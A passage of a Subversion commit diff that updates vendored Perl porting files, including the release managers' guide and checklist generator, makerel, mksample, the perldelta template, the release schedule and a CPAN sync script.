+chomp( my @pod_lines = @{ pod('Porting/release_managers_guide.pod') } );
 
-EOF
+my ( @items, $current_element, @leading_attrs );
+my $skip_headers     = qr/^=encoding/xms;
+my $passthru_headers = qr/^= (?: over | item | back | cut )/xms;
 
-    my $last_level = 0;
-    for my $head ( @{$heads} ) {
-        my $level = $head->[0] - 1;
+foreach my $line (@pod_lines) {
+    $line =~ $skip_headers
+        and next;
 
-        if ( $level > $last_level ) {
-            $new_pod .= '=over ' . $level * 4;
-            $new_pod .= "\n\n";
+    if ( $line =~ /^ =head(\d) \s+ (.+) $/xms ) {
+        my ( $head_num, $head_title ) = ( $1, $2 );
+
+        my $elem = {
+            'head' => $head_num,
+            'name' => $head_title,
+        };
+
+        if (@leading_attrs) {
+            $elem->{'metadata'} = [ @leading_attrs ];
+            @leading_attrs = ();
         }
-        elsif ( $level < $last_level ) {
-            $new_pod .= "=back\n\n" for 1 .. ( $last_level - $level );
-        }
 
-        $new_pod .= '=item * ' . 'L<< /' . $head->[1] . " >>\n\n";
+        $current_element = $elem;
+        push @items, $elem;
 
-        $last_level = $level;
+        next;
     }
 
-    $new_pod .= "=back\n\n" while $last_level--;
+    if ( $line =~ /^ =for \s+ (.+) $ /xms ) {
+        push @leading_attrs, $1;
+        next;
+    }
 
-    $new_pod .= $pod;
+    $line =~ $passthru_headers
+        or length $line == 0 # allow empty lines
+        or $line =~ /^[^=]/xms
+        or die "Cannot recognize line: '$line'\n";
 
-    return $new_pod;
+    $current_element->{'content'} .= "\n" . $line;
 }
 
-main();
+print << "_END_BEGINNING";
+=head1 NAME
+
+Release Manager's Guide with Checklist for $version ($type)
+
+=head2 Checklist
+
+_END_BEGINNING
+
+# Remove beginning
+# This can also be done with a '=for introduction' in the future
+$items[0]{'name'} =~ /^NAME/xmsi
+    and shift @items;
+
+$items[0]{'name'} =~ /^MAKING \s+ A \s+ CHECKLIST/xmsi
+    and shift @items;
+
+create_checklist( $type, \@items );
+
+iterate_items( \@items, $type, sub {
+    my $item = shift;
+    print "=head$item->{'head'} $item->{'name'}";
+    print "$item->{'content'}\n";
+} );
+
+if ($html) {
+    my $simple = Pod::Simple::HTML->new;
+    $simple->output_fh(*STDOUT);
+    $simple->parse_string_document($pod_output);
+}

Modified: vendor/perl/dist/Porting/makerel
===================================================================
--- vendor/perl/dist/Porting/makerel	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/makerel	2018-12-22 22:55:19 UTC (rev 12126)
@@ -28,19 +28,18 @@
 $|=1;
 
 sub usage { die <<EOF; }
-usage: $0 [ -r rootdir ] [-s suffix ] [ -b ] [ -n ]
+usage: $0 [ -r rootdir ] [-s suffix ] [ -x ] [ -n ]
     -r rootdir   directory under which to create the build dir and tarball
                  defaults to '..'
     -s suffix    suffix to append to to the perl-x.y.z dir and tarball name
 		 defaults to the concatenation of the local_patches entry
 		 in patchlevel.h (or blank, if none)
-    -b           make a .bz2 file in addtion to a .gz file
-    -x           make a .xz file in addtion to a .gz file
+    -x           make a .xz file in addition to a .gz file
     -n           do not make any tarballs, just the directory
 EOF
 
 my %opts;
-getopts('bxnr:s:', \%opts) or usage;
+getopts('xnr:s:', \%opts) or usage;
 @ARGV && usage;
 
 $relroot = defined $opts{r} ? $opts{r} : "..";
@@ -146,8 +145,8 @@
     mg_vtable.h
     perlapi.h
     perlapi.c
-    cpan/Devel-PPPort/module2.c
-    cpan/Devel-PPPort/module3.c
+    dist/Devel-PPPort/module2.c
+    dist/Devel-PPPort/module3.c
     cpan/autodie/t/touch_me
     reentr.c
     reentr.h
@@ -206,18 +205,6 @@
     }
 }
 
-if ($opts{b}) {
-    if ($have_7z) {
-        print "Creating and compressing the tar.bz2 file with 7z...\n";
-        $cmd = "tar cf - $reldir | 7z a -tbzip2 -mx9 -bd -si $reldir.tar.bz2";
-        system($cmd) == 0 or die "$cmd failed";
-    } else {
-        print "Creating and compressing the tar.bz2 file...\n";
-        $cmd = "tar cf - $reldir | bzip2 > $reldir.tar.bz2";
-        system($cmd) == 0 or die "$cmd failed";
-    }
-}
-
 if ($opts{x}) {
     print "Creating and compressing the tar.gz file with 7z...\n";
     $cmd = "tar cf - $reldir | xz -z -c > $reldir.tar.xz";

Added: vendor/perl/dist/Porting/mksample
===================================================================
--- vendor/perl/dist/Porting/mksample	                        (rev 0)
+++ vendor/perl/dist/Porting/mksample	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,33 @@
+#!/bin/sh
+#
+# This script can be used to keep Porting/config_H (which is an example
+# config.h) up-to-date with the latest Configure.
+
+# Original author: Andy Dougherty   	July 14, 1998
+
+rm -f config.sh Policy.sh
+cat >Policy.sh <<'EOP'
+libswanted="cl pthread $libswanted"
+EOP
+
+sh ./Configure -Dprefix=/opt/perl \
+	-Dcf_by='yourname' \
+	-Dcf_email='yourname at yourhost.yourplace.com' \
+	-Dperladmin='yourname at yourhost.yourplace.com' \
+	-Dmydomain='.yourplace.com' \
+	-Dmyhostname='yourhost' \
+	-Duse64bitint \
+	-Dusedevel \
+	-dE
+test $? = 0 || exit 1
+chmod u+w Porting Porting/config*
+cp config.sh Porting/config.sh
+sh config_h.SH
+cat <<'EOCP' > Porting/config_H
+/* This file (config_H) is a sample config.h file.  If you are unable
+   to successfully run Configure, copy this file to config.h and
+   edit it to suit your system.
+*/
+EOCP
+cat config.h >> Porting/config_H
+rm config.sh config.h

Modified: vendor/perl/dist/Porting/perldelta_template.pod
===================================================================
--- vendor/perl/dist/Porting/perldelta_template.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/perldelta_template.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -51,7 +51,7 @@
 
 =head2 Module removals
 
-XXX Remove this section if inapplicable.
+XXX Remove this section if not applicable.
 
 The following modules will be removed from the core distribution in a
 future release, and will at that time need to be installed from CPAN.
@@ -83,7 +83,7 @@
 XXX Changes which enhance performance without changing behaviour go here.
 There may well be none in a stable release.
 
-[ List each enhancement as a =item entry ]
+[ List each enhancement as an =item entry ]
 
 =over 4
 
@@ -101,8 +101,14 @@
 for important changes should then be added by hand.  In an ideal world,
 dual-life modules would have a F<Changes> file that could be cribbed.
 
-[ Within each section, list entries as a =item entry ]
+The list of new and updated modules is modified automatically as part of
+preparing a Perl release, so the only reason to manually add entries here is if
+you're summarising the important changes in the module update. (Also, if the
+manually-added details don't match the automatically-generated ones, the
+release manager will have to investigate the situation carefully.)
 
+[ Within each section, list entries as an =item entry ]
+
 =head2 New Modules and Pragmata
 
 =over 4
@@ -109,7 +115,7 @@
 
 =item *
 
-XXX
+XXX Remove this section if not applicable.
 
 =back
 
@@ -121,6 +127,8 @@
 
 L<XXX> has been upgraded from version A.xx to B.yy.
 
+If there was something important to note about this change, include that here.
+
 =back
 
 =head2 Removed Modules and Pragmata
@@ -148,10 +156,16 @@
 
 =head2 Changes to Existing Documentation
 
+We have attempted to update the documentation to reflect the changes
+listed in this document.  If you find any we have missed, send email
+to L<perlbug at perl.org|mailto:perlbug at perl.org>.
+
 XXX Changes which significantly change existing files in F<pod/> go here.
 However, any changes to F<pod/perldiag.pod> should go in the L</Diagnostics>
 section.
 
+Additionally, the following selected changes have been made:
+
 =head3 L<XXX>
 
 =over 4
@@ -234,7 +248,7 @@
 However, any platform-specific changes should be listed in the
 L</Platform Support> section, instead.
 
-[ List changes as a =item entry ].
+[ List changes as an =item entry ].
 
 =over 4
 
@@ -252,8 +266,19 @@
 Changes to existing files in F<t/> aren't worth summarizing, although the bugs
 that they represent may be covered elsewhere.
 
-[ List each test improvement as a =item entry ]
+XXX If there were no significant test changes, say this:
 
+Tests were added and changed to reflect the other additions and changes
+in this release.
+
+XXX If instead there were significant changes, say this:
+
+Tests were added and changed to reflect the other additions and
+changes in this release.  Furthermore, these significant changes were
+made:
+
+[ List each test improvement as an =item entry ]
+
 =over 4
 
 =item *
@@ -266,7 +291,7 @@
 
 XXX Any changes to platform support should be listed in the sections below.
 
-[ Within the sections, list each platform as a =item entry with specific
+[ Within the sections, list each platform as an =item entry with specific
 changes as paragraphs below it. ]
 
 =head2 New Platforms
@@ -317,7 +342,7 @@
 significant internal changes for future core maintainers should be noted as
 well.
 
-[ List each change as a =item entry ]
+[ List each change as an =item entry ]
 
 =over 4
 
@@ -332,7 +357,7 @@
 XXX Important bug fixes in the core language are summarized here.  Bug fixes in
 files in F<ext/> and F<lib/> are best summarized in L</Modules and Pragmata>.
 
-[ List each fix as a =item entry ]
+[ List each fix as an =item entry ]
 
 =over 4
 
@@ -348,7 +373,7 @@
 tests that had to be C<TODO>ed for the release would be noted here.  Unfixed
 platform specific bugs also go here.
 
-[ List each fix as a =item entry ]
+[ List each fix as an =item entry ]
 
 =over 4
 
@@ -371,14 +396,14 @@
 
 =head1 Obituary
 
-XXX If any significant core contributor has died, we've added a short obituary
-here.
+XXX If any significant core contributor or member of the CPAN community has
+died, add a short obituary here.
 
 =head1 Acknowledgements
 
 XXX Generate this with:
 
-  perl Porting/acknowledgements.pl v5.25.5..HEAD
+  perl Porting/acknowledgements.pl v5.27.11..HEAD
 
 =head1 Reporting Bugs
 

Modified: vendor/perl/dist/Porting/pod_rules.pl
===================================================================
--- vendor/perl/dist/Porting/pod_rules.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/pod_rules.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 #!/usr/bin/perl -w
 
 use strict;
-use vars qw(%Build %Targets $Verbose $Test);
+our (%Build, %Targets, $Verbose, $Test);
 use Text::Tabs;
 use Text::Wrap;
 use Getopt::Long;

Modified: vendor/perl/dist/Porting/pumpkin.pod
===================================================================
--- vendor/perl/dist/Porting/pumpkin.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/pumpkin.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -292,42 +292,48 @@
 are all automatically generated by perl scripts.  In general, don't
 patch these directly; patch the data files instead.
 
-F<Configure> and F<config_h.SH> are also automatically generated by
-B<metaconfig>.  In general, you should patch the metaconfig units
-instead of patching these files directly.  However, very minor changes
-to F<Configure> may be made in between major sync-ups with the
-metaconfig units, which tends to be complicated operations.  But be
-careful, this can quickly spiral out of control.  Running metaconfig
-is not really hard.
-
 Also F<Makefile> is automatically produced from F<Makefile.SH>.
 In general, look out for all F<*.SH> files.
 
-Finally, the sample files in the F<Porting/> subdirectory are
-generated automatically by the script F<U/mksample> included 
-with the metaconfig units.  See L<"run metaconfig"> below for
-information on obtaining the metaconfig units.
+Finally, the sample files F<config.sh> and F<config_H> in the
+F<Porting/> subdirectory are generated by the script F<Porting/mksample>.
 
-=head1 How to Make a Distribution
+=head3 Files generated by metaconfig
 
-This section has now been expanded and moved into its own file,
-F<Porting/release_managers_guide.pod>.
+F<Configure>, F<config_h.SH> and F<Porting/Glossary> are generated by
+B<metaconfig> (see below for more information on how to use this system)
+and direct changes to these files should in general not be pushed to blead.
 
-I've kept some of the subsections here for now, as they don't directly
-relate to building a release any more, but still contain what might be
-useful information - DAPM 7/2009.
+The exceptions are:
 
-=head2 run metaconfig
+=over 4
 
-If you need to make changes to Configure or config_h.SH, it may be best to
-change the appropriate metaconfig units instead, and regenerate Configure.
+=item *
 
-	metaconfig -m
+security fixes
 
-will regenerate F<Configure> and F<config_h.SH>.  Much more information
-on obtaining and running metaconfig is in the F<U/README> file
-that comes with Perl's metaconfig units.
+=item *
 
+changes pre-approved by the metaconfig maintainers
+
+=back
+
+Such changes should also be notified to the metaconfig maintainers.
+
+Alternatively, do consider if the F<*ish.h> files or the hint files might
+be a better place for your changes.
+
+=head1 Working with metaconfig
+
+Information about how to use metaconfig can be found in the F<README>
+and F<README_U> files in the metaconfig repository containing Perl's
+metaconfig units:
+
+	# anonymous clone
+	git clone https://github.com/perl5-metaconfig/metaconfig.git
+	# or using a registered github.com identity with ssh
+	git clone github.com:perl5-metaconfig/metaconfig metaconfig
+
 Since metaconfig is hard to change, running correction scripts after
 this generation is sometimes needed. Configure gained complexity over
 time, and the order in which config_h.SH is generated can cause havoc
@@ -335,17 +341,15 @@
 after that generation. All that and more is described in the README
 files that come with the metaunits.
 
-Perl's metaconfig units should be available on CPAN.  A set of units
-that will work with perl5.9.x is in a file with a name similar to
-F<mc_units-20070423.tgz> under L<http://www.cpan.org/authors/id/H/HM/HMBRAND/>.
-The mc_units tar file should be unpacked in your main perl source directory.
-Note: those units were for use with 5.9.x.  There may have been changes since
-then.  Check for later versions or contact perl5-porters at perl.org to obtain a
-pointer to the current version.
+=head1 How to Make a Distribution
 
-Alternatively, do consider if the F<*ish.h> files or the hint files might be
-a better place for your changes.
+This section has now been expanded and moved into its own file,
+F<Porting/release_managers_guide.pod>.
 
+I've kept some of the subsections here for now, as they don't directly
+relate to building a release any more, but still contain what might be
+useful information - DAPM 7/2009.
+
 =head2 MANIFEST
 
 If you are using metaconfig to regenerate Configure, then you should note
@@ -471,7 +475,7 @@
 
 =head2 PPPort
 
-F<cpan/Devel-PPPort/PPPort.pm> needs to be synchronized to include all
+F<dist/Devel-PPPort/PPPort.pm> needs to be synchronized to include all
 new macros added to .h files (normally F<perl.h> and F<XSUB.h>, but others
 as well). Since chances are that when a new macro is added the
 committer will forget to update F<PPPort.pm>, it's the best to diff for
@@ -1385,11 +1389,11 @@
 =head1 AUTHORS
 
 Original author:  Andy Dougherty doughera at lafayette.edu .
-Additions by Chip Salzenberg chip at perl.com and 
-Tim Bunce Tim.Bunce at ig.co.uk .
+Additions by Chip Salzenberg chip at perl.com, Tim Bunce and the perl5
+development team.
 
 All opinions expressed herein are those of the authorZ<>(s).
 
 =head1 LAST MODIFIED
 
-2009-07-08-01 Jesse Vincent
+2017-10-13 Dominic Hargreaves

Modified: vendor/perl/dist/Porting/release_announcement_template.txt
===================================================================
--- vendor/perl/dist/Porting/release_announcement_template.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/release_announcement_template.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,7 +13,6 @@
 SHA1 digests for this release are:
 
  [TAR.GZ SHA1]   perl-5.[VERSION.SUBVERSION].tar.gz
- [TAR.BZ2 SHA1]  perl-5.[VERSION.SUBVERSION].tar.bz2
  [TAR.XZ SHA1]   perl-5.[VERSION.SUBVERSION].tar.xz
 
 You can find a full list of changes in the file "perldelta.pod" located in
@@ -24,7 +23,7 @@
 [ACKNOWLEDGEMENTS SECTION FROM PERLDELTA]
 
 We expect to release version [NEXT BLEAD VERSION.SUBVERSION] on [FUTURE
-DATE].  The next major stable release of Perl 5, version 26.0, should
-appear in May 2017.
+DATE].  The next major stable release of Perl 5, version 28.0, should
+appear in May 2018.
 
 [YOUR SALUTATION HERE]

Modified: vendor/perl/dist/Porting/release_managers_guide.pod
===================================================================
--- vendor/perl/dist/Porting/release_managers_guide.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/release_managers_guide.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,13 +16,13 @@
 This script is run as:
 
     perl Porting/make-rmg-checklist \
-        --type [BLEAD-POINT or MAINT or ...] > /tmp/rmg.pod
+        --version [5.x.y-RC#] > /tmp/rmg.pod
 
 You can also pass the C<--html> flag to generate an HTML document instead of
 POD.
 
     perl Porting/make-rmg-checklist --html \
-        --type [BLEAD-POINT or MAINT or ...] > /tmp/rmg.html
+        --version [5.x.y-RC#] > /tmp/rmg.html
 
 =head1 SYNOPSIS
 
@@ -46,7 +46,7 @@
     ...time passes...
 
     a few weeks before the release, a number of steps are performed,
-	including bumping the version to 5.10.2
+        including bumping the version to 5.10.2
 
     ...a few weeks pass...
 
@@ -55,7 +55,7 @@
     perl-5.10.2 is released
 
     post-release actions are performed, including creating new
-	perldelta.pod
+        perldelta.pod
 
     ... the cycle continues ...
 
@@ -144,7 +144,7 @@
 =head3 rt.perl.org update access
 
 Make sure you have permission to close tickets on L<http://rt.perl.org/>
-so you can respond to bug report as necessary during your stint.  If you
+so you can respond to bug reports as necessary during your stint.  If you
 don't, make an account (if you don't have one) and contact the pumpking
 with your username to get ticket-closing permission.
 
@@ -182,6 +182,7 @@
 =head3 Quotation for release announcement epigraph
 
 You will need a quotation to use as an epigraph to your release announcement.
+It will live forever (along with Perl), so make it a good one.
 
 =head3 Install the previous version of perl
 
@@ -243,7 +244,7 @@
 and maint are synchronised with a particular CPAN module, but one might
 have some extra changes.
 
-=head3 How to sync a CPAN module with a cpanE<sol> distro
+=head4 Sync CPAN modules with the corresponding cpanE<sol> distro
 
 In most cases, once a new version of a distribution shipped with core has been
 uploaded to CPAN, the core version thereof can be synchronized automatically
@@ -335,13 +336,14 @@
 For entries with a non-simple C<FILES> section, or with a C<MAP>, you
 may have to take more steps than listed above.
 
-=head3 dual-life CPAN module stability
+=head3 Ensure dual-life CPAN module stability
 
-Ensure dual-life CPAN modules are stable, which comes down to:
+This comes down to:
 
    for each module that fails its regression tests on $current
        did it fail identically on $previous?
-       if yes, "SEP" (Somebody Else's Problem)
+       if yes, "SEP" (Somebody Else's Problem, but try to make sure a
+         bug ticket is filed)
        else work out why it failed (a bisect is useful for this)
 
    attempt to group failure causes
@@ -360,7 +362,7 @@
 =head3 monitor smoke tests for failures
 
 Similarly, monitor the smoking of core tests, and try to fix.  See
-L<http://smoke.procura.nl/index.html>, L<http://perl5.test-smoke.org/>
+L<https://tux.nl/perl5/smoke/index.html>, L<http://perl5.test-smoke.org/>
 and L<http://perl.develop-help.com> for a summary. See also
 L<http://www.nntp.perl.org/group/perl.daily-build.reports/> which has
 the raw reports.
@@ -386,7 +388,7 @@
 
 Get perldelta in a mostly finished state.
 
-Read  F<Porting/how_to_write_a_perldelta.pod>, and try to make sure that
+Read F<Porting/how_to_write_a_perldelta.pod>, and try to make sure that
 every section it lists is, if necessary, populated and complete. Copy
 edit the whole document.
 
@@ -495,7 +497,7 @@
 
 Check that the copyright years are up to date by running:
 
-    $ ./perl t/porting/copyright.t --now
+    $ pushd t; ./perl -I../lib porting/copyright.t --now
 
 Remedy any test failures by editing README or perl.c accordingly (search for
 the "Copyright"). If updating perl.c, check if the file's own copyright date in
@@ -533,11 +535,12 @@
 
 =head3 check a readonly build
 
-Even before other prep work, follow the steps in  L<build the tarball> and test
+Even before other prep work, follow the steps in L<build the tarball> and test
 it locally.  Because a perl source tarballs sets many files read-only, it could
 test differently than tests run from the repository.  After you're sure
 permissions aren't a problem, delete the generated directory and tarballs.
 
+
 =head2 Building a release - on the day
 
 This section describes the actions required to make a release
@@ -588,7 +591,7 @@
 
 =head4 Bump Module::CoreList* $VERSIONs
 
-If necessary, bump C<$Module::CoreList::VERSION> (there's no need to do this
+If necessary, bump C<$VERSION> (there's no need to do this
 for every RC; in RC1, bump the version to a new clean number that will
 appear in the final release, and leave as-is for the later RCs and final).
 It may also happen that C<Module::CoreList> has been modified in blead, and
@@ -595,12 +598,11 @@
 hence has a new version number already.  (But make sure it is not the same
 number as a CPAN release.)
 
-C<$Module::CoreList::TieHashDelta::VERSION> and
 C<$Module::CoreList::Utils::VERSION> should always be equal to
 C<$Module::CoreList::VERSION>. If necessary, bump those two versions to match
 before proceeding.
 
-The files to modify are:
+Once again, the files to modify are:
 
 =over 4
 
@@ -612,10 +614,6 @@
 
 F<dist/Module-CoreList/lib/Module/CoreList/Utils.pm>
 
-=item *
-
-F<dist/Module-CoreList/lib/Module/CoreList/TieHashDelta.pm>
-
 =back
 
 =head4 Update C<Module::CoreList> with module version data for the new release.
@@ -646,7 +644,7 @@
 (If you'd prefer to have a full CPAN mirror, see
 L<http://www.cpan.org/misc/cpan-faq.html#How_mirror_CPAN>)
 
-Then change to your perl checkout, and if necessary,
+Change to your perl checkout, and if necessary,
 
     $ make
 
@@ -673,6 +671,8 @@
 
 Also edit Module::CoreList's new version number in its F<Changes> file.
 This file is F<dist/Module-CoreList/Changes>.
+(BLEAD-POINT releases should have had this done already as a post-release
+action from the last commit.)
 
 =head4 Add Module::CoreList version bump to perldelta
 
@@ -732,6 +732,7 @@
 
     $ podchecker -warnings -warnings pod/perldelta.pod
     $ spell pod/perldelta.pod
+    $ aspell list < pod/perldelta.pod | sort -u
 
 Also, you may want to generate and view an HTML version of it to check
 formatting, e.g.
@@ -739,8 +740,6 @@
     $ ./perl -Ilib ext/Pod-Html/bin/pod2html pod/perldelta.pod > \
         /tmp/perldelta.html
 
-Another good HTML preview option is L<http://search.cpan.org/pod2html>
-
 If you make changes, be sure to commit them.
 
 =for checklist skip BLEAD-POINT MAINT RC
@@ -932,23 +931,23 @@
 the tarball and directory name:
 
  $ cd root/of/perl/tree
- $ make distclean       # make sure distclean works
- $ git clean -xdf       # make sure perl and git agree on files
-                        # git clean should not output anything!
- $ git status           # and there's nothing lying around
+ $ make distclean           # make sure distclean works
+ $ git clean -xdf           # make sure perl and git agree on files
+                            # git clean should not output anything!
+ $ git status --ignored     # and there's nothing lying around
 
- $ perl Porting/makerel -bx -s RC1            # for a release candidate
- $ perl Porting/makerel -bx                   # for the release itself
+ $ perl Porting/makerel -x -s RC1           # for a release candidate
+ $ perl Porting/makerel -x                  # for the release itself
 
-This creates the  directory F<../perl-x.y.z-RC1> or similar, copies all
+This creates the directory F<../perl-x.y.z-RC1> or similar, copies all
 the MANIFEST files into it, sets the correct permissions on them, then
-tars it up as F<../perl-x.y.z-RC1.tar.gz>. With C<-b>, it also creates a
-C<tar.bz2> file. The C<-x> also produces a C<tar.xz> file.
+tars it up as F<../perl-x.y.z-RC1.tar.gz>.  The C<-x> also produces a
+C<tar.xz> file.
 
 If you're getting your tarball suffixed with -uncommitted and you're sure
 your changes were all committed, you can override the suffix with:
 
-    $ perl Porting/makerel -b -s ''
+    $ perl Porting/makerel -x -s ''
 
 XXX if we go for extra tags and branches stuff, then add the extra details
 here
@@ -963,8 +962,7 @@
 
 =head4 Copy the tarball to a web server
 
-Copy the tarballs (.gz and possibly .bz2 and .xz) to a web server somewhere you
-have access to.
+Copy the tarballs (.gz and .xz) to a web server somewhere you have access to.
 
 =head4 Download the tarball to another machine and unpack it
 
@@ -1040,6 +1038,11 @@
 
 =head4 Install the Inline module with CPAN and test it
 
+If you're using C<local::lib>, you should reset your environment before
+performing these actions:
+
+    $ unset PERL5LIB PERL_MB_OPT PERL_LOCAL_LIB_ROOT PERL_MM_OPT
+
 Try installing a popular CPAN module that's reasonably complex and that
 has dependencies; for example:
 
@@ -1102,7 +1105,7 @@
 
     https://pause.perl.org/
 
-(Login, then select 'Upload a file to CPAN')
+(Log in, then select 'Upload a file to CPAN')
 
 If your workstation is not connected to a high-bandwidth,
 high-reliability connection to the Internet, you should probably use the
@@ -1120,8 +1123,14 @@
 I<Remember>: if your upload is partially successful, you
 may need to contact a PAUSE administrator or even bump the version of perl.
 
-Upload the .gz, .xz, and .bz2 versions of the tarball.
+Upload the .gz and .xz versions of the tarball.
 
+Note: You can also use the command-line utility to upload your tarballs, if
+you have it configured:
+
+    cpan-upload perl-5.X.Y.tar.gz
+    cpan-upload perl-5.X.Y.tar.xz
+
 Do not proceed any further until you are sure that your tarballs are on CPAN.
 Check your authors directory www.cpan.org (the globally balanced "fast"
 mirror) to confirm that your uploads have been successful.
@@ -1158,7 +1167,8 @@
 
 =head3 announce to p5p
 
-Mail p5p to announce your new release, with a quote you prepared earlier.
+Mail perl5-porters at perl.org to announce your new release, with a quote you prepared earlier.
+Get the SHA1 digests from the PAUSE email responses.
 
 Use the template at Porting/release_announcement_template.txt
 
@@ -1233,7 +1243,8 @@
 
 =item *
 
-Run F<Porting/new-perldelta.pl>
+Run:
+    perl Porting/new-perldelta.pl
 
 =item *
 
@@ -1254,6 +1265,8 @@
 
 When C<make test_porting> passes, commit the new perldelta.
 
+    git commit -m'new perldelta for 5.X.Y'
+
 =back
 
 At this point you may want to compare the commit with a previous bump to
@@ -1274,7 +1287,7 @@
 copying the exiting entry, and bump the file's $VERSION (after the __END__
 marker); e.g.
 
-	 "5.14" => [qw(switch say state unicode_strings)],
+         "5.14" => [qw(switch say state unicode_strings)],
     +    "5.15" => [qw(switch say state unicode_strings)],
 
 Run F<regen/feature.pl> to propagate the changes to F<lib/feature.pm>.
@@ -1432,9 +1445,8 @@
 
 =item *
 
-Bump the $VERSION in F<dist/Module-CoreList/lib/Module/CoreList.pm>,
-F<dist/Module-CoreList/lib/Module/CoreList/TieHashDelta.pm> and
-F<dist/Module-CoreList/lib/Module/CoreList/Utils.pm>.
+Bump the $VERSION in F<dist/Module-CoreList/lib/Module/CoreList.pm>
+and F<dist/Module-CoreList/lib/Module/CoreList/Utils.pm>.
 
 =item *
 

Modified: vendor/perl/dist/Porting/release_schedule.pod
===================================================================
--- vendor/perl/dist/Porting/release_schedule.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/release_schedule.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,23 +11,29 @@
 of Perl.  Dates with two or more question marks will only be releases if
 deemed necessary by the Pumpking.
 
-=head2 Perl 5.26
+=head2 Perl 5.28
 
-Code freezes (which happen in the 5.25.X series)
+Code freezes (which happen in the 5.27.X series)
 
-  2016-12-20  5.25.8          Contentious changes freeze
-  2017-01-20  5.25.9          User-visible changes to correctly
+  2018-02-20  5.27.9          Contentious changes freeze
+  2018-03-20  5.27.10         User-visible changes to correctly
                               functioning programs freeze
-  2017-02-20  5.25.10         Full code freeze
-  2017-03-20  5.25.11         Full code freeze
-  2017-04-20  5.25.12         Full code freeze
-  2017-05-20  5.26.0          Stable release!
+  2018-04-20  5.27.11         Full code freeze
+  2018-05-20  5.28.0          Stable release!
 
+=head2 Perl 5.26
+
+  2017-05-30  5.26.0 ✓        Sawyer X
+  2017-09-22  5.26.1 ✓        Steve Hay
+  2018-04-14  5.26.2 ✓        Steve Hay
+
 =head2 Perl 5.24
 
   2016-05-09  5.24.0 ✓        Ricardo Signes
   2017-01-14  5.24.1 ✓        Steve Hay
-  2017-02-??  5.24.2          Steve Hay
+  2017-07-15  5.24.2 ✓        Steve Hay
+  2017-09-22  5.24.3 ✓        Steve Hay
+  2018-04-14  5.24.4 ✓        Steve Hay
 
 =head2 Perl 5.22
 
@@ -35,7 +41,7 @@
   2015-12-13  5.22.1 ✓        Steve Hay
   2016-04-29  5.22.2 ✓        Steve Hay
   2017-01-14  5.22.3 ✓        Steve Hay
-  2017-02-??  5.22.4          Steve Hay
+  2017-07-15  5.22.4 ✓        Steve Hay
 
 =head1 DEVELOPMENT RELEASE SCHEDULE
 
@@ -51,23 +57,22 @@
 the next four releases. If a stable version of Perl is released,
 you should reset the version numbers to the next blead series.
 
-=head2 Perl 5.25
+=head2 Perl 5.27
 
-  2016-04-08  5.25.0 ✓        Ricardo Signes
-  2016-05-20  5.25.1 ✓        Sawyer X
-  2016-06-20  5.25.2 ✓        Matthew Horsfall
-  2016-07-20  5.25.3 ✓        Steve Hay
-  2016-08-20  5.25.4 ✓        BinGOs
-  2016-09-20  5.25.5 ✓        Stevan Little
-  2016-10-20  5.25.6 ✓        Aaron Crane
-  2016-11-20  5.25.7 ✓        Chad Granum
-  2016-12-20  5.25.8 ✓        Sawyer X
-  2017-01-20  5.25.9 ✓        Abigail
-  2017-02-20  5.25.10 ✓       Renée Bäcker
-  2017-03-20  5.25.11 ✓       Sawyer X
-  2017-04-20  5.25.12 ✓       Sawyer X
+  2017-05-31  5.27.0 ✓        Sawyer X
+  2017-06-20  5.27.1 ✓        Eric Herman
+  2017-07-20  5.27.2 ✓        Aaron Crane
+  2017-08-20  5.27.3 ✓        Matthew Horsfall
+  2017-09-20  5.27.4 ✓        John Anderson
+  2017-10-20  5.27.5 ✓        Steve Hay
+  2017-11-20  5.27.6 ✓        Karen Etheridge
+  2017-12-20  5.27.7 ✓        BinGOs
+  2018-01-20  5.27.8 ✓        Abigail
+  2018-02-20  5.27.9 ✓        Renee Bäcker
+  2018-03-20  5.27.10 ✓       Todd Rinaldo
+  2018-04-20  5.27.11 ✓       Sawyer X
 
-(RC0 for 5.26.0 will be released once we think that all the blockers have been
+(RC0 for 5.28.0 will be released once we think that all the blockers have been
 addressed.  This typically means some time in April or May.)
 
 =head1 VICTIMS

Modified: vendor/perl/dist/Porting/sync-with-cpan
===================================================================
--- vendor/perl/dist/Porting/sync-with-cpan	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/sync-with-cpan	2018-12-22 22:55:19 UTC (rev 12126)
@@ -137,7 +137,7 @@
 use File::Basename qw( basename );
 use File::Path qw( remove_tree );
 use File::Find;
-use File::Spec::Functions qw( tmpdir );
+use File::Spec::Functions qw( tmpdir rel2abs );
 use Config qw( %Config );
 
 $| = 1;
@@ -282,6 +282,8 @@
     say "--force is in effect, so we'll soldier on. Wish me luck!";
 }
 
+use Cwd 'cwd';
+my $orig_pwd = cwd();
 
 chdir "cpan";
 
@@ -295,6 +297,22 @@
     $cpan_mod =~ s/-/::/g;
 }
 
+sub wget {
+    my ($url, $saveas) = @_;
+    eval {
+        require HTTP::Tiny;
+        my $http= HTTP::Tiny->new();
+        $http->mirror( $url => $saveas );
+        1
+    } or
+       # Some system do not have wget.  Fall back to curl if we do not
+       # have it.  On Windows, `which wget` is not going to work, so
+       # just use wget, as this script has always done.
+       WIN32 || -x substr(`which wget`, 0, -1)
+         ? system wget => $url, '-qO', $saveas
+         : system curl => $url, '-sSo', $saveas;
+}
+
 #
 # Find the information from CPAN.
 #
@@ -301,6 +319,7 @@
 my $new_file;
 my $new_version;
 if (defined $tarball) {
+    $tarball = rel2abs( $tarball, $orig_pwd ) ;
     die "Tarball $tarball does not exist\n" if !-e $tarball;
